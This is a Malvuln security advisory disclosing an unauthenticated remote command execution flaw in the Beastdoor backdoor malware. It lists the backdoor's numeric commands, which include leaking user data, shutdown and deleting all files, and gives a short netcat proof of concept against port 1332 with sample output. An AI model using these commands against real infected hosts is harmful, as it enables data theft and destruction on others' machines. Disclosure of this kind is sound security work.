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Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
https://malvuln.com/advisory/6268df4c9c805c90725dde4fe5ef6fea.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Beastdoor.oq
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 1332, makes outbound
connections to SMTP port 25 and executes a PE file named svchost.exe
dropped in Windows directory. Third party adversaries who can reach an
infected host can issue various numeric commands made available by the
backdoor.
Family: Beastdoor
Type: PE32
MD5: 6268df4c9c805c90725dde4fe5ef6fea
Vuln ID: MVID-2024-0674
Dropped files: svchost.exe
Disclosure: 03/09/2024

Commands:
27 return victims username and computer information
5 or 19 will shutdown victims computer
6 restart victims computer
9 delete all files including program files
16 victim computer screen goes black
28 returns clipboard information
30 terminates the backdoor and deletes it from the system

Exploit/PoC:
C:\sec>nc64.exe x.x.x.x 1332
27
27
VICTIM DESKTOP-2C3IQHO Windows 8.1 Intel(R) Core(TM) i7-7700HQ CPU @
2.80GHzC:\WINDOWS\C:\WINDOWS\system32\1565 x 8302.01svchost.exe svchost.exe
28
28
I dont like u
30

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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• Backdoor.Win32.Beastdoor.oq / Unauthenticated Remote Command Execution malvuln (Mar 13)